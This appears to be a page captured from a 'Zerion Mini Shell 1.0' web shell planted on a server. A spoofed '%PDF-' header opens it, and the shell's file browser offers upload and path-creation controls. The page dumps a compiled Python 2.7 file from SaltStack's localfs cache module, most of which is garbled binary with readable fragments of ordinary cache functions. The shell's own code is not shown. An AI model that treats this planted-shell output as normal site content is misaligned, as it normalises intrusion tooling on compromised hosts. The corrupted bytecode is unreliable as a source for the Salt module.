%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/cache/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/cache/localfs.pyc

�
���^c@@sdZddlmZmZmZddlZddlZddlZddlZddl	Z	ddl
Z
ddlmZddl
ZddlZeje�Zidd6Zdd�Zd�Zd	�Zd
�Zd�Zd�Zddd
�Zd�Zd�ZdS(u+
Cache data in filesystem.

.. versionadded:: 2016.11.0

The ``localfs`` Minion cache module is the default cache module and does not
require any configuration.

Expiration values can be set in the relevant config file (``/etc/salt/master`` for
the master, ``/etc/salt/cloud`` for Salt Cloud, etc).
i(tabsolute_importtprint_functiontunicode_literalsN(tSaltCacheErrorulistulist_cC@s0|rd|kr|dStjdtjj�S(Nucachedir(t__opts__tgettsalttsyspathst	CACHE_DIR(tkwargs((s6/usr/lib/python2.7/site-packages/salt/cache/localfs.pyt
__cachedirscC@sit|�d6S(Nucachedir(R
(R	((s6/usr/lib/python2.7/site-packages/salt/cache/localfs.pytinit_kwargs$scC@sdt|�fS(Nulocalfs(R
(R	((s6/usr/lib/python2.7/site-packages/salt/cache/localfs.pytget_storage_id(sc
C@s?tjj|tjj|��}ytj|�Wn@tk
rt}|jtjkrutdj	||���qunXtjj|dj	|��}t
jd|�\}}tj|�yUt
jjj|d��!}	|	jtdj|��WdQXt
jjj||�Wn+tk
r:}tdj	||���nXdS(u&
    Store information in a file.
    u3The cache directory, {0}, could not be created: {1}u{0}.ptdiruw+buserialNu3There was an error writing the cache file, {0}: {1}(tostpathtjointnormpathtmakedirstOSErrorterrnotEEXISTRtformatttempfiletmkstemptcloseRtutilstfilestfopentwritet__context__tdumpst
atomicfilet
atomic_renametIOError(
tbanktkeytdatatcachedirtbasetexctoutfilettmpfhttmpfnametfh_((s6/usr/lib/python2.7/site-packages/salt/cache/localfs.pytstore,s&!
 cC@st}tjj|tjj|�dj|��}tjj|�sstjj|tjj|�d�}t}ntjj|�s�tj	d|�iSyQt
jjj
|d��3}|r�tdj|�|Stdj|�SWdQXWn+tk
r}tdj||���nXdS(u(
    Fetch information from a file.
    u{0}.pu.puCache file "%s" does not existurbuserialNu4There was an error reading the cache file "{0}": {1}(tFalseRRRRRtisfiletTruetlogtdebugRRRRRtloadR"R(R#R$R&tinkeytkey_fileR,R(((s6/usr/lib/python2.7/site-packages/salt/cache/localfs.pytfetchKs"-%	cC@s�tjj|tjj|�dj|��}tjj|�sStjd|�dSyt	tjj
|��SWn+tk
r�}tdj||���nXdS(u;
    Return the epoch of the mtime for this cache file
    u{0}.puCache file "%s" does not existu3There was an error reading the mtime for "{0}": {1}N(
RRRRRR/R1twarningtNonetinttgetmtimeR"R(R#R$R&R5R(((s6/usr/lib/python2.7/site-packages/salt/cache/localfs.pytupdatedgs-cC@s�|dkrt�}ny�|dkrntjj|tjj|��}tjj|�s^tStj	|�nPtjj|tjj|�dj
|��}tjj|�s�tStj|�Wn+t
k
r�}tdj
||���nXtS(uF
    Remove the key from the cache bank with all the key content.
    u{0}.pu&There was an error removing "{0}": {1}N(R8R
RRRRtisdirR.tshutiltrmtreeRR/tremoveRRR0(R#R$R&ttargetR(((s6/usr/lib/python2.7/site-packages/salt/cache/localfs.pytflushys"!-cC@s�tjj|tjj|��}tjj|�s7gSytj|�}Wn+tk
rw}tdj||���nXg}xG|D]?}|j	d�r�|j
|j|d��q�|j
|�q�W|S(uX
    Return an iterable object containing all entries stored in the specified bank.
    u1There was an error accessing directory "{0}": {1}u.pi����(RRRRR<tlistdirRRRtendswithtappendtrstrip(R#R&R'titemsR(trettitem((s6/usr/lib/python2.7/site-packages/salt/cache/localfs.pytlist_�s!
cC@s~|dkr=tjj|tjj|��}tjj|�Stjj|tjj|�dj|��}tjj|�SdS(uB
    Checks if the specified bank contains the specified key.
    u{0}.pN(R8RRRRR<RR/(R#R$R&R'tkeyfile((s6/usr/lib/python2.7/site-packages/salt/cache/localfs.pytcontains�s
!-(t__doc__t
__future__RRRtloggingRtos.pathRR=Rtsalt.exceptionsRtsalt.utils.atomicfileRtsalt.utils.filest	getLoggert__name__R1t__func_alias__R8R
RRR-R6R;RARIRK(((s6/usr/lib/python2.7/site-packages/salt/cache/localfs.pyt<module>s*
						

Zerion Mini Shell 1.0